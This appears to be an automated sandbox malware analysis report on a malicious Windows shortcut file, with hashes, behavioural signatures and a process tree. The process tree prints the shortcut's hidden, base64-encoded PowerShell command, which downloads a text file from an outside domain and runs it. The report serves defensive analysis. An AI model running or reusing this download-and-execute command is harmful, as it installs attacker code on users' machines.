Resubmissions

11-04-2024 18:11

240411-ws3kfaha67 8

06-04-2024 07:43

240406-jj8nwadg4v 10

Analysis

  • max time kernel
    590s
  • max time network
    599s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-04-2024 18:11

General

  • Target

    DOC8934 - 89348934.lnk

  • Size

    9KB

  • MD5

    baadcd553ba6a56e2f81332206e331cf

  • SHA1

    3d76bdf72f15dc17ca2aed3237aa2ee680534de1

  • SHA256

    0b2fe8188163d143a4c7fe09ce892dcf45fe0e43ca869ec8e65cca020ee06cb2

  • SHA512

    b16efc3a8b6e3b3afbe7817e7c4b30f889de212d1db41ccac47f2ccbe04dd6b7b19fb381084bacf5cdc2dfe2838922c1e47b779136f7ea4044fc451772c739e0

  • SSDEEP

    192:8z5ph43MSBfQb94y8O5Wp9EJmuBT/HVXhdyfUVLqHGPJzylV/Xt4OnuRG:u5f+MS5QH8EDJHx7ycVLUGhzWXr

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC8934 - 89348934.lnk"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4844
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1768
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1424 --field-trial-handle=2180,i,12780723798465539942,12010519452607841069,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:5044
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3556 --field-trial-handle=2180,i,12780723798465539942,12010519452607841069,262144 --variations-seed-version /prefetch:8
      1⤵
        PID:3152

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b2iftifh.x04.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1768-11-0x00000199FAA50000-0x00000199FAA72000-memory.dmp

        Filesize

        136KB

      • memory/1768-12-0x00007FFAE3680000-0x00007FFAE4141000-memory.dmp

        Filesize

        10.8MB

      • memory/1768-15-0x00000199FAA80000-0x00000199FAA90000-memory.dmp

        Filesize

        64KB

      • memory/1768-14-0x00000199FAA80000-0x00000199FAA90000-memory.dmp

        Filesize

        64KB

      • memory/1768-13-0x00000199FAA80000-0x00000199FAA90000-memory.dmp

        Filesize

        64KB

      • memory/1768-18-0x00007FFAE3680000-0x00007FFAE4141000-memory.dmp

        Filesize

        10.8MB